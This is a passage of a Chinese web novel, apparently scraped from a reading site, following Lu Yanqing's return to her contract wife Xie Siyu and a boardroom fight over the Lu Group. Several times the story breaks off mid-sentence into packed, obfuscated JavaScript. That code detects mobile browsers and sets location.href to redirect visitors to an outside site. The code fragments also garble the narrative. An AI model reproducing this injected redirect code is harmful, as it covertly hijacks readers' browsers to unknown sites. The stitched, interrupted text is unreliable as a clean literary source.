钟晚意眨眨眼:“嗯嗯,可以吗?只是推荐而已。” 她只是为爱豆要一个名额,最后能不能选上代言,这要看对方的本事。 谢思虞轻轻点头:“回头你把资料发给刘瑶。” 钟晚意受宠若惊,端起之前喝过的鸡尾酒,碰了碰谢思虞手中的玻璃杯:“谢谢思虞姐,咱们碰一个。” 换做以往,她可不敢在谢思虞面前造次,更别提是开后门这样的事情,今天不过是因为陆言卿在场,其实也做好了被拒绝的准备,没想到竟然成功了。 陆言卿正倚在卡座剥橘子味的糖果,注意到钟晚意给谢思虞的柠檬水加了冰块,眉头微蹙,立刻唤门口侍应生换一杯常温的过来。 钟晚意全程听着没吭声,默默咽下口中的鸡尾酒,随后夺过陆言卿手中的糖纸,没好气道:“说好的三杯龙舌兰呢?” 陆言卿笑着抽出茶几上的湿巾擦手,哂笑:“行,我喝,这件事也就此翻篇。” 手刚触碰到玻璃杯,突然被温热的掌心按住,耳畔也响起谢思虞温软的嗓音:“三杯太多了。” 一时间,卡座陷入诡异的寂静。 钟晚意真心觉得这两人有问题,无视另一侧冲她挤眉弄眼的两位姐妹,俯身逼近陆言卿,压低声音问:“当年领证第二天就消失,真不是躲……” 话音未落,陆言卿用银叉叉了块哈密瓜塞进她嘴巴里。 “钟晚意。” 陆言卿温和嗓音中透着几分警告的意味:“下次再让我听见这种话……”说着捏了捏钟晚意的脸颊,“就把你偷放在城南的赛车卖了。” 钟晚意嘴里被塞了哈密瓜,说话都不利索:“你别动我车,我不说了还不行嘛。” 陆言卿偏了偏头,对上谢思虞关切的声音,笑着回:“没事,就喝三杯。” 得到她的保证,压在她手背上的手才慢慢收回去。 喝完第一杯,温柔无害的目光扫过钟晚意右侧的两位女生。 两位姑娘很上道,不约而同点点头:“卿姐放心,我们绝对不再胡说八道,也会转告身边的朋友。” 钟晚意在陆言卿喝完三杯龙舌兰后,靠过去揽住她胳膊,小声咬耳朵:“这次回来不会再走了吧?” 陆言卿抽出胳膊,跟钟晚意保持距离,颇为无奈:“不走,也没想过要走。” 突然跨越三年的时光,这种事总不能再发生第二次。 突然,包间的门被推开,鸾尾花香弥漫在空气中。 “听说BlueNote换了调酒师?” 苏蔓看到卡座上的陆言卿,自来熟走了进来,她穿着白色碎花长裙,黑直柔顺的长发编成辫子自然垂在右侧,细眉,鼻梁秀挺,精致的脸庞化着淡妆。 气质优雅,笑容温和。 不愧是国民女神。 将新剧杀青的伴手礼放在茶几上,红底高跟鞋踩过陆言卿的影子:“真的是卿卿,你什么时候回国的?既然碰到了,要不要去旁边包间尝尝我的庆功酒?” 陆言卿看到苏蔓那刻,眼中漾着的浅笑消失,指尖磨挲杯口,一圈又一圈。 好似没听到苏蔓的话,始终低垂着头。 这一瞬,包间气氛低至冰点。 钟晚意站起身,不着痕迹踢了她一下,陆言卿才不冷不淡吐出两个字:“戒了。” “真的戒了?” 苏蔓被拒绝也不恼,嘴角挂着温柔妥帖的笑意,趁钟晚意让出空位,她坐到陆言卿身边,手里的酒杯递了过去:“就一杯酒而已,卿卿也要拒绝?” 不等陆言卿说话,一直沉默不语的谢思虞突然拿过苏蔓手中的酒杯:“恭喜苏小姐,这杯酒我替言卿喝。” 龙舌兰混着青柠汁滑过咽喉,灼烧感在胃部炸开。 陆言卿夺过剩余酒液一饮而尽,杯底重重磕在苏蔓给的伴手礼礼盒上,眉头紧蹙:“胃疼还敢喝酒?” 霓虹灯在顶部明明灭灭。 谢思虞望着杯中残余的柠檬片,突然想起这三年来,她无数次就着柠檬水吞药片,在婚房反复观看陆言卿航班划破天际线的视频。 笑了笑:“一点而已。” 谢思虞不以为然的态度,让陆言卿十分不舒服,脸色也愈发的沉。 苏蔓在旁边看着两人互动,旁人看不见的角度,攥着衣裙的手,指节隐隐泛白。 突然,她笑起来:“谢总好福气,卿卿还是这般温柔体贴。” 一句话,让钟晚意等人的心都提了起来,她坐到了杨怡身边,耷拉着脸,无语至极:“她怎么知道言卿回国了?” 杨怡摇摇头,反倒是旁边郑雪咬着唇,心虚解释:“也许是……看到了我发的微博?” 钟晚意没忍住剜了她一眼。 郑雪急忙解释:“我就是想告诉大家卿姐回榕城了,没想到会被苏蔓看到。” 陆言卿脾气还算温和,当初苏蔓劈腿,追寻想要的功成名就,她们既然分手了,也意味着曾经的过往烟消云散。 可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278668|166729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今苏蔓闹到谢思虞面前。 就很难看。 陆言卿看向苏蔓的目光中带着冷意:“我妻子胃疼,苏影后的庆功酒怕是无福消受。” 来包间前,谢思虞在车上吃了胃药,如今又喝酒,万一出事怎么办? 拉着谢思虞手腕站起身,没再看苏蔓,对钟晚意几人说:“先回了。” 钟晚意点点头,举着手机晃了晃:“行,你和思虞姐路上慢点,我帮你们叫了代驾。” 卡座,苏蔓孤零零一个人坐着,很快也起身离开了包间。 那份被遗忘在茶几上的伴手礼,直接被钟晚意扔进了垃圾桶,郑雪凑上来:“我可听说苏蔓最近感情不顺,如今卿姐回来,她莫非后悔了?” 钟晚意呵呵两声:“言卿不会吃回头草,如今站在她身边的人是谢思虞。” 另一边,苏蔓离开后并没有回包间,而是靠在走廊消防栓玻璃柜上看手机。 那人已经半个月没有搭理她了。 呵,突然嘴角勾起自嘲的笑。 当初她跟陆言卿交往,她们吵架最厉害那次,陆言卿也没有对她使用过冷暴力。 神差鬼使间又打开了微博,找到郑雪最新发布的微博:【好久不见的卿姐,还是那么漂亮。[心]】。 配图里陆言卿正牵着谢思虞的手,将照片放大,谢思虞无名指上的婚戒清晰可见。 “苏蔓姐,您去哪里了?秦导到处找您。” 走廊拐角传来助理的声音,苏蔓摁灭手机屏幕,嘴角再次漫上无懈可击的笑容:“走吧。” 既然陆言卿已经回国,她们有的是机会见面。 同一时间,清吧后门的室外停车场。 还差十几分钟九点半,天色已经完全黯下来,榕城春季多雨,半空中推积着厚厚的乌云,一副风雨欲来的架势。 钟晚意叫的代驾是一位胖胖的中年妇女,对方十分专业,先给陆言卿看了代驾相关的资料和驾驶证,这才坐进驾驶座:“请问两位去哪里?” 车厢后座,陆言卿和谢思虞并排而坐,中间隔着两个拳头大小的距离,她拿着谢思虞之前吃药的药盒,翻来覆去看了两三遍,网上搜索出来的答案五花八门,说什么的都有。 “某人吃了药又喝酒,先去华康私立医院。” 谢思虞瞥见陆言卿手机屏幕上的内容,胸口又暖又涨,眼睑下眸光闪了又闪,深深吐出一口气,今晚第三次解释:“我真的没事,不用去医院。” 陆言卿用力捏着药盒,说话语气有点重:“你怎么知道没事?莫非谢总之前也这般……” 抬眸撞进谢思虞复杂的目光中,剩下的话猛然卡住。 很好。 原来不是第一次。 “回江海澜苑。” 陆言卿沉着脸退出网页,随手将手机扔进扶手凹槽中,扭头看向车窗外。 然而代驾师傅刚启动引擎,她又拍了拍驾驶座的头枕,“去华康医院。” 不想再听谢思虞说没事,黑着脸提醒:“谢思虞,你胃溃疡还没好,饮酒后胃出血概率高达30%。” “所以,别任性,好吗?” 9. 第9章 晚上十点。 陆言卿带谢思虞去华康医院挂急诊,值班医生检查了谢思虞服用的胃药,发现并不含抗生素,她本人也没有出现明显不适,便建议她多喝水加速代谢。 陆言卿帮谢思虞预约了第二天的胃镜检查,两人又在医院待了半个多小时才回家。 江海澜苑。 陆言卿打开冰箱里愣了下,里面被塞的满满当当,全是新鲜的蔬菜水果。 保鲜格里码成方阵的酸奶盒,生产日期全是今天——她最爱喝的那个牌子,超市下午五点才到货。 厨房也增加了其他烹饪工具。 她生活能力差。 自己公寓的厨房,住进去一年多也没有使用过。 谢思虞换下高跟鞋,穿着和陆言卿同款不同颜色的拖鞋,西装外套脱下随手搁在了餐椅上,问:“要不要吃宵夜?” 陆言卿倚着冰箱门刚给酸奶插上吸管,身后传来谢思虞温柔的声音,垂眸看了眼手腕上的表,不知不觉已经十一点了。 明天周五,上午要召开股东大会。 谢思虞看出陆言卿的犹豫,笑道:“也不差这点时间,正好有点事跟你说。” 话已至此,似乎没有拒绝的理由。 陆言卿点点头,见谢思虞熟练地拴好围裙,从冰箱里拿出青菜和西红柿,还有两颗鸡蛋,想了想走上前:“要不要帮忙?” “不用,很快就好,你可以先去洗漱。” 谢思虞打开水池上方的水龙头,开始清洗青菜和西红柿,“衣帽间未拆封的衣服阿姨都清洗过了,如果款式不喜欢,明天我陪你去买。” 酸奶是盒装,分量并不多,陆言卿很快解决完一盒,听到谢思虞的话,捏着酸奶盒的手指发紧。 眸中神色复杂。 谢思虞放下工作陪她体检,如今又说要陪她逛街买衣服,她们在祖父跟前演戏就罢了,平时也需要谨慎至此? 张了张嘴巴,望着谢思虞有条不紊忙碌的背影,终究什么都没问。 二十分钟后。 明明是很简单的西红柿面,上面点缀着青菜,还有一个煎鸡蛋,莫名令人食欲大增。 “那我就不客气了。” 陆言卿洗漱完,穿着纯棉材质的睡衣裤,避免尴尬,她里面穿了bra。 餐桌对面,谢思虞见陆言卿吃的津津有味,眼中流露出温柔的笑意来,也拿起筷子挑散热气,开始吃面条。 这间公寓里,总算有了些许烟火气。 时间太晚,谢思虞到底不习惯吃太多东西,碗里面条还剩下三分之一。 见陆言卿也吃的差不多,起身前往书房拿资料。 “明天股东大会,这里有一份海外并购案资料,你先熟悉下。” 陆言卿擦干净嘴角,接过谢思虞递过来的资料,疑惑地翻看,发现地点竟然是W国,并购案在两个月前就签署了合同。 “你……什么时候开始准备的?” 谢思虞将两幅碗筷重叠在一起,转身往厨房走,也轻声回答陆言卿的疑问:“这些年陆爷爷身体每况愈下,我又……找不到你,总要做点什么,不然没法跟陆爷爷交代不是?” 攥着纸张的手不自觉收紧了力道,这一刻,陆言卿内心深处的愧疚达到了顶峰。 她原以为,那天在爷爷面前,谢思虞只是随口说的借口,没想到她竟然真的在偷偷执行这项工作。 - 第二天是周五,阳光明媚。 陆氏集团持续多年的惯例,每周五上午十点要召开股东大会,陆言卿一大早就在微信上联系刘瑶,让她陪着谢思虞去医院做胃镜检查。 公寓地下车库,陆言卿按下车钥匙,看到承重柱旁一辆黑色的宾利车,熟悉的高定车型,恍然想起这是当时她送给谢思虞的“补偿”。 协议合同里第二项。 甲方附赠乙方一辆价值千万的宾利车。 打开车门坐进驾驶座,车厢里弥漫着一股淡淡的橙花香,果不其然,很快她就在中央储物盒里看到了薰香盒。 “她好像偏爱橙花香?” 戳了戳挡风玻璃前可爱的陶瓷兔子摆件,陆言卿系好安全带,启动引擎前往公司。 抵达陆氏大楼,正好是8:25分,距离上班打卡还有5分钟。 一楼电梯走廊。 四台电梯都在正常运转,陆言卿刷的是谢思虞的卡,因为她还没有拿到技术部那边特定的工作卡。 32层。 原本这层楼只有一间独立办公室,也就是目前谢思虞所在的总裁办。 旁边是会议室,因为陆言卿回来了,谢思虞让后勤部门将其改造成办公室,估计还要几天才能装修好。 “陆总,您让打印的资料正在打印,稍后我会将其装订好。” 魏洁敲了敲总裁办的门,听到里面响起请进两个字,才推门走进去,将刚冲泡好的咖啡放在了办公桌上。 “嗯。” 总裁办电脑的开机密码一早谢思虞就发她微信上了,然而陆言卿没有窥探别人电脑的习惯,哪怕只是为了工作,吩咐一旁的魏洁,“帮我拿一台笔记本电脑过来。” 昨晚恶补这三年来双栖云境的发展变化,西郊店商场两年前开业运转至今,双子塔顶部打通的长廊,也是完全按照她三年前敲定的图纸装修改造。 空中“森林”成为榕城热门的网红打卡点,吸引了国内无数游客前来参观。 魏洁无意识捏着衣角,因为陆言卿并没有喝她准备的拿铁咖啡,压下内心的不安,转身时想起什么又踌躇道:“陆总,谢氏市场部张经理这周第三次拜访,对方听说您回来,想约您见面。” 提取到魏洁话里的关键词,陆言卿放下手中的签字笔,微微挑眉:“第三次拜访?之前两次谢总都没有见?” 榕城谢家。 谢思虞的父亲十几年前创办了轻奢服装品牌「Elis」,客户群体主要是20岁到35岁的青年人,身边不少朋友也穿这个品牌的衣服。 三年前因为资金链断裂才和陆氏联姻,如今谢氏公司发展情况,她还不是很清楚。 “谢总拒绝了。” 魏洁想说谢思虞和谢家关系并不像表面那般和谐,然话到嘴边又打住了。 入职时她受过专业的训练,其中一条就是不要揣测老板的想法。 陆言卿漫不经心点点头:“行,我知道了。” 没有说见,也没有说不见。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278669|166729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 魏洁明白陆言卿的意思,这是等谢思虞回公司再处理。 等魏洁离开办公室,陆言卿继续翻看各个部门交上来的文件,率先处理贴了红色便利贴的,很快一个小时过去,好像能明白谢思虞用刘瑶的原因。 小姑娘做事很细心,也很谨慎。 会议前十五分钟。 陆言卿接到谢思虞打来的电话:「刘董和方董支持你二叔,张董和杨董这些年一直保持中立,剩下两位董事是爷爷的人,要是他们说话太难听,可以不用忍。」 这句话的潜台词,不管出任何事,她都可以为她兜底。 陆言卿浅浅抿了口杯子里的拿铁咖啡,眼中漾荡出明媚的笑意来:“怕我被欺负?” 谢思虞似乎是忘记了,她姓陆。 老爷子唯一公开承认的陆氏集团继承人。 转动办公椅,落地窗前一盆半人高的龙血树枝繁叶茂,叶尖锋利。 听筒那头传来某人温温柔柔的声音:「嗯。」 明知道谢思虞会说什么,这一刻,陆言卿心脏最柔软的地方还是被触动。 呼吸也缓了半刻。 办公桌上的笔记本电脑登陆了微信,和手机消息同步,钟晚意发来了一张名片,是茶商老板娘,对方店里不仅销售各种名贵的茶叶,也销售各种花茶,果茶。 “好,我知道了。” 陆言卿弯了弯眼眸,扫了眼电脑右上角的时间,问,“胃镜检查过了?有没有哪里不舒服?” 「检查过了。」 「有点轻微的头晕,问题不大。」 无痛胃镜检查麻醉恢复时间因人而异,陆言卿昨晚询问过医生,出现轻微头晕是正常现象。 “那别玩手机了,躺着休息会儿,确定没事再离开医院。” 「嗯,董事会上有问题随时联系我。」 挂断电话,陆言卿靠着座椅靠背,闭上了眼睛,大学毕业进入公司,老爷子将她扔到策划部历练,虽嘴上说着严厉的话,但背地里没少护着她。 如今……是谢思虞护着她。 整颗心像是被人揉成一团,说不出其中滋味。 唯一能确定的就是感觉还不错。 有人兜底的感觉。 还不错。 上午十点,31层大型会议室。 气氛前所未有的凝重。 椭圆形会议桌两侧坐着陆氏集团的各位董事,加上陆言卿和二叔陆弘毅在列一共八人,但此刻这间会议室有九人。 陆言昭不是董事会成员,但他拥有集团5%的股份,也算有资格参加。 “陆总,不打算向各位董事解释你销声匿迹三年的原因吗?” 陆言昭剑拔弩张,嘴角勾着挑衅的笑,他等着看陆言卿笑话。 “言卿,你确实应该给我们一个交代。” 旁边陆弘毅也眉头紧锁,他还以为这位侄女死在异国他乡,这三年别说老爷子和谢思虞的人在找,就是他也安排了不少人暗中搜寻。 全都一无所获。 偏偏这个节骨眼,她又回来了。 陆言卿漫不经心转动无名指上的婚戒,脸上挂着淡定从容的微笑:“二叔别急嘛,言卿先给各位看点东西。” 10. 第10章 魏洁给在座的董事成员都发放了一份资料,正是W国的并购案,合同最后一页签署时间正是两个月前。 陆言昭向来沉不住气,当他看见对面杨董和张董交头接耳,小声讨论,那模样明显已经认可了陆言卿。 当即拍桌站起身来:“就算你在国外筹划并购案,需要三年不跟家里人联系?” “这怕是你找的借口。” 坐在右侧角落的周鹏昨晚就接到了谢思虞的电话,于是在合适的时机开口:“陆副总监这是什么话,陆总这么做肯定有她的理由。” “况且Mall集团是北欧老牌商业地产运营商,旗下拥有15家高端购物中心,陆氏能跟其合作,海外营收占比相比之前可增加至28%。” 旁边杨静也说了句公道话:“Mall集团因家族内斗和数字化转型失败陷入财务危机,这三年陆总想必也是历经不少挫折和挑战,才和Mall达成合作。” 陆言昭没想到向来低调保持中立的杨静都站在陆言卿那边,顿时气的火冒三丈,翻开资料第四页,指着冷链物流板块挑刺:“你们说的轻巧,生鲜损耗率高的问题怎么解决?要知道目前损耗率高达18%。” 陆言卿一直没说话,直到陆言昭提出运输过程中的难点,才娓娓道来:“陆副总监,资料第五页,你所说的问题已经给出了解决的方案。” 陆言昭还想说什么,坐在他旁边的陆弘毅剜了他一眼,轻描淡写转移了话题:“言卿为了海外并购案的事情,三年不联系家里也情有可原。” 关上并购案资料,他又补充,“既然你回来了,那陆氏集团总裁的位子是不是也应该拿回来?” 陆言昭冷哼:“就是,一直让个外姓人来掌权算什么事。” 两人一唱一和。 会议室氛围骤然间冷凝下来。 陆言卿眼帘低垂,食指轻轻敲击会议桌面,一下又一下,沉默着没说话。 身后对她还算了解的魏洁,心都提到了嗓子眼儿。 陆总,生气了。 还是很生气那种。 “只要我陆言卿和谢思虞没有离婚,那这陆氏集团总裁的位置,她就能坐。” 陆言卿泠冽的目光落在陆言昭身上,不紧不慢说完剩下的几个字,“且合理合法。” - 中午12:30。 谢思虞回到公司,踏进总裁办就看到工作人员在拆除柜子上的咖啡机,而且旁边已经安装了新的煮茶工具。 透明玻璃茶壶里,茉莉花茶沸腾的厉害,正咕噜咕噜冒着热气。 办公室沙发区,茶几上摆放着一套全新的玻璃杯。 眉头微微蹙起,正要询问工作人员,身后响起了陆言卿的声音:“回来了?时间刚好,快过来吃饭。” 股东大会结束就12点了,陆言卿就没打电话让私房菜那边送午餐,直接和魏洁乘坐电梯去了3楼陆氏的员工食堂。 还别说,她还蛮想念周师傅的糖醋小排。 将茶几上的玻璃杯收纳到抽屉,陆言卿用湿巾擦拭桌面,才从袋子里拿出餐盒。 其中有一份糖醋小排,一份蒜蓉油麦,还有一份青菜芋头汤。 “怎么把咖啡机拆掉了?” 谢思虞取下肩上的包包,在陆言卿身旁坐了下来,茶壶里茉莉花茶不知道沸腾了多长时间,以至于屋子里也弥漫着一股淡淡的茉莉花香。 陆言卿依次将餐盒盖子打开,递给谢思虞一双筷子,专门给她带了份养胃的小米粥:“谢总这么聪明,肯定能猜到原因。” 煮花茶的时间是15分钟,时间一到,智能茶壶发出滴滴的声响。 陆言卿暂时没管,夹了块糖醋小排放进嘴巴里,这时放在茶几上的手机弹出信息。 「顾姐家还有其他合适胃病患者喝的花茶,果茶,我都推荐给你?」 “青菜芋头汤用的是高汤,很鲜美。” 陆言卿一边回复钟晚意信息,一边让谢思虞喝汤,想到什么又问,“你是不能吃辣,还是最近胃溃疡不能吃辣?” 之前看谢思虞的个人资料,饮食上没有对什么东西过敏,至于能不能吃辣,她真的没注意。 谢思虞刚夹了片油麦菜,这才注意到几道菜都比较清淡,唯一一道荤菜也是甜口。 “少量的辣椒能吃。” 行。 陆言卿明白了,是最近胃溃疡才不能吃辣。 「种类不用太多,就推荐几款味道好的就行。」 「算了,你跟顾姐说都送一些到公司,回头看谢思虞喜欢哪些味道再留下。」 她用的九宫格输入法,左手打字比较慢,陆言卿索性放下筷子,拿起手机右手输入,确定内容发送成功,随手把手机搁在茶几上,屏幕都还亮着。 谢思虞突然恨自己视力很好。 陆言卿和钟晚意的聊天内容,她都看到了。 用力捏紧了筷子,重重地吐出一口气,半晌才找到自己的声音:“你对任何人都这样体贴吗?” 陆言卿:“??” “陆言卿,你对任何人都这般温柔体贴吗?” 谢思虞薄唇轻抿,对上陆言卿疑惑的目光,再次艰涩的问出口。 短短几分钟,陆言卿就消灭了三块糖醋小排,周师傅用的是整扇排骨的中间段,呈扁长形,没有其他多余的杂骨。 肉层均匀,瘦肉较多,炸的过程也十分用心,最后浇上酸甜可口的番茄汁,不仅看起来有食欲,味道也相当的好。 原本美美的心情因为谢思虞的问题戛然而止,陆言卿歪头盯着她看了几秒,没吭声。 埋头用筷子扒餐盒里的米饭。 吃了两口白米饭,到底没能忍住:“谢思虞,我很闲吗?” 可当她对上谢思虞温柔潋滟的眼眸,好似泄气的皮球,仅剩那点怒气也荡然无存,“你就当我在履行协议上的内容。” 说完拿起手机打开了照相功能,身体往谢思虞那边倾斜,两人肩膀紧紧挨在一起,陆言卿又闻到了某人身上淡淡的苦橙花香,指尖在屏幕上连续按了几下。 “不是说每周要给祖父拍几张亲密照?” 翻找出祖父的微信名片,将刚拍的照片发过去,陆言卿低垂着头,所以没注意到身侧谢思虞短短几秒的情绪变化。 - 晚上十点,江海澜苑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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主卧的门虚掩着,陆言卿连续好几晚都发现谢思虞喜欢开着灯“睡觉”,这人还老是踢被子。 前两晚她都进屋帮她盖被子,今晚突然不想去了。 免得某人又说她对谁都温柔体贴。 陆言卿佯装什么都没瞧见,迈开脚往次卧方向走,可脚才迈出去两步就走不动了。 理智告诉她应该回屋睡觉,可脚有它自己的想法。 挣扎半晌,陆言卿还是转过身轻手轻脚推开了主卧虚掩着的门,小声嘟囔:“算了,万一受凉感冒怎么办?” 她胃溃疡还没好呢。 因为她突然进入房间,屋内地脚感应灯次第亮起,陆言卿呼吸都缓了半刻,目光紧盯着床上的谢思虞,就怕她突然醒来。 幸好,谢思虞睡的比较熟,没被“吵”醒。 陆言卿彻底放松下来,弯下腰,小心翼翼把被子拾起来,扯过羽绒被轻轻地盖在谢思虞身上。 想了想,又从角落书架上拿了两本厚厚的书,分别压在谢思虞身体两侧。 做完这一切,陆言卿才悄无声息离开房间,顺便将门关上。 “还真是……跟以前一样。” 可爱。 谢思虞在陆言卿离开房间后睁开了眼睛,手从被子里伸出来,指尖磨挲书籍棱角,一下又一下,眼底也漾出温柔的笑意。 11. 第11章 周六日,陆氏集团员工上班时间比工作日要晚一个小时。 陆言卿体检所有项目结果都出来了,很健康,突然跨越三年时空,真的好像在时空缝隙里做了场梦。 二院住院大楼。 陆言卿抵达老爷子病房所在的楼层,消毒水味混着中药的苦涩味在走廊里弥漫开来,靠近病房门,突然听到屋内二叔陆弘毅刻意压低的嗓音:“爸,您就忍心看着陆氏改姓谢?” 当即陆言卿眉头就蹙了起来。 屋内,陆弘毅毕恭毕敬站在床边,哪怕病床上躺着的老爷子瘦如枯槁,看着精气神儿也不太好,他依然不敢冒犯:“爸,当初你执意要让言卿继承集团,好,我这个当二叔的没意见,因为打断骨头连着筋,我们都是陆家人。” “三年前言卿出国音信全无,您又非要谢思虞掌权,我们这些集团董事脸往哪里搁?这几年让外人看足了笑话。” “要不是妈还在,我真以为我是您在外面捡回来的孩子。现如今言卿回来了,必须让她从谢思虞手里拿回集团的执行权!” “二叔好兴致。” 陆言卿径直推门而入,保温桶磕在金属床头柜发出闷响,余光瞥见陆弘毅无名指上的蓝宝石戒指——正是四年前挪用公款拍下的赃物。 “二叔是年纪大了?昨天我在会议上的话没听清?还是没记住?” 陆弘毅喉结滚动,假意整理西装下摆:“言卿来得正好,二叔是怕你年轻识人不清……” 避开陆言卿清冽的目光,低头掩了眼底的算计和欲望,苦口婆心劝说:“整整三年啊,你就不怕把谢思虞的胃口养大了?她心机颇深,手段高明,想要架空你在陆氏的权利轻而易举,傻侄女,你不听二叔劝告,将来总有你后悔的一天。” 陆言卿脸色愈发的沉:“就算谢思虞真的架空我在陆氏的权利,也不需要二叔操心,您有时间还是管管堂哥吧,这市场部副总监的位置,有不少人盯着呢。” 陆弘毅抬眸看向陆言卿,明明是漫不经心的态度,却令人忌惮。 他这位侄女,不愧是由老爷子一手带大的,要真的狠起来,言昭不死也要脱成皮。 挑拨目的不成,也不想再跟他们虚与委蛇,甩袖转身离开。 “卿卿别听你二叔挑拨离间,思虞不会背叛陆氏,也不会背刺你。” 陆老不想再听儿子废话,抓住孙女的手腕,声音严肃且认真,“她可以信任。” 陆言卿急忙上前,轻轻帮老爷子顺背:“爷爷您放心,我明白的。” 另一边。 医院地下负二楼停车场,C区102车位停放着一辆黑色的保时捷跑车。 驾驶座的车门开着。 陆言昭双腿放在方向盘上,一边打游戏一边嚼着槟榔,游戏第四次失败,手机砸在真皮座椅上弹起:“艹!什么垃圾队友!” “动静小点!” 陆弘毅扯松领带,脸色有些难看,“你爷爷没松口,他就是踹着明白装糊涂。” “管他呢,既然说不通,就别怪我背地使阴招。” 陆言昭用力拍了下方向盘,按理说父亲去住院部看望爷爷,他这个做孙子的也应该前往,可他不想去。 因为每次见祖父,他都要说教,指出他这里做的不好,那里做的欠缺。 总之就很烦人。 陆家其他兄弟姐妹,只有陆言卿由祖父带大,感情自然笃深,光看陆言卿拥有的股份就知道,他唯独偏爱她。 谢思虞能掌权陆氏,是因为当年陆言卿出国,集团不能群龙无首。 如今陆言卿回来,祖父竟然闭口不提让谢思虞让权的事。 提起这个陆弘毅就窝火:“我就纳闷儿了,你爷爷这么精明多疑的一个人,怎么会放心把集团交给外人呢?” 陆言昭分析:“当年陆言卿前脚刚分手,后脚就跟谢思虞领证,明摆着是商业联姻,我不相信她们有多深的感情。” 想到谢家,陆弘毅眼中闪过精光:“既然没有感情,无非就是拉不下脸来卸磨杀驴。” 这三年谢思虞只听父亲的话,对他们这些董事,时不时就敲打,行事作风跟父亲如出一辙。 明明看起来那么温柔端庄的姑娘,背地里手段也挺脏的。 陆言昭用力抓着方向盘,阴沉着脸:“陆言卿跟祖父一样生性多疑,现在相信不代表会一直相信。” 他们和谢思虞打交道三年,那女人就是魔鬼,而且油盐不进,既然拉拢不成,也没必要继续留在陆氏了。 “下个月股东大会。” 陆弘毅转动手上的戒指,眼底满是算计,“让谢总来露露脸。” 他就不信,谢氏的烂摊子,他那个侄女会愿意接手。 - 陆言卿陪着祖父聊天,杜撰了这些年在W国遇到的趣事,也提了并购案相关“细节”,总算把他哄骗过去。 直到他熟睡,她才起身离开病房。 走廊上,陆言卿一边低头看手机,一边等电梯。 结果对面的电梯先打开了,没等她看清楚里面出来的人,就被对方抱个满怀。 “姐,呜呜呜呜……你真的回国了。” 陆言薇用力扑进陆言卿怀里,带着消毒液味的白大褂蹭上对方的羊绒外套,听诊器砸在地面的脆响引来护士站张望。 “我就知道你讨厌我,你都回国好几天了也不联系我,要不是刚在门诊看到李伯,我现在还蒙在鼓里。” 陆言卿指尖陷进妹妹后背的衣料,记忆里总跟在她身后哭鼻子的小丫头,如今白大褂口袋别着胸牌:【呼吸内科实习医师-陆言薇】。 “没有讨厌……” 见小姑娘哭红了眼,无奈转移话题:“什么时候能转成正式医师?” 妹妹从小就胆子小,还有点社恐,高考成绩下来,她偷偷报考了医学院,这个决定让家里所有人都震惊了。 “还有两个月。” 陆言薇吸了吸鼻子,食指弯曲擦干眼角的泪痕,小心翼翼抓着陆言卿的衣袖,“姐,你不回家,是不是还生妈妈的气?” 沈若华女士。 她和陆言薇的母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278671|166729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲。 电梯门镜面映出陆言卿骤然紧绷的下颌线,童年记忆如潮水漫过——空荡荡的老宅客厅,国际长途在凌晨三点响起,沈若华永远在说“等妈妈下次回来”。 陆言卿捏了捏妹妹的鼻子,避重就轻:“集团最近有些忙,你思虞姐胃不舒服,我自然要担起责任,不是故意不回家。” 陆言薇咬了咬下唇,低垂着头,也不知道有没有相信陆言卿的说辞,静默片刻才扬起小脸,嗓音软绵,又带着一丝惴惴不安:“那今晚,姐你能不能回家吃饭?” 指甲在姐姐袖口掐出月牙痕,又触电般缩回,“带思虞姐一起,爸爸很想你,妈妈也……” 消毒车碾过地面的辘辘声打断对话。 陆言卿将妹妹滑落在地的听诊器捡起来挂回她颈间,金属听头还残留着体温:“我问问思虞的时间。” 陆言薇还想说什么,可对上姐姐已经淡漠的眼神,心里咯噔了一下,不敢再得寸进尺。 电梯间。 陆言卿摩挲着震动不休的手机,微信家族群弹出母亲沈若华的消息:【既然回来了,今晚和思虞回家用饭】。 沈女士的头像多年如一日,是她年轻时在联合国发言的照片。 英姿飒爽,巾帼不让须眉。 陆言卿摁灭屏幕,嘴角勾起一抹淡淡的自嘲,电梯抵达负一楼,锁屏再次弹出消息。 不过这次是谢思虞发来的私信。 「不想去我来拒绝。」 - 时间在陆言卿这里是凝固的,可在父母亲朋面前是整整三年。 傍晚六点,陆言卿还是带着谢思虞回到陆家,二十年前这里就是榕城寸土寸金的地段,如今这块片区的老洋房,每一栋市值都过亿。 可见年轻时沈女士就有独到的眼光。 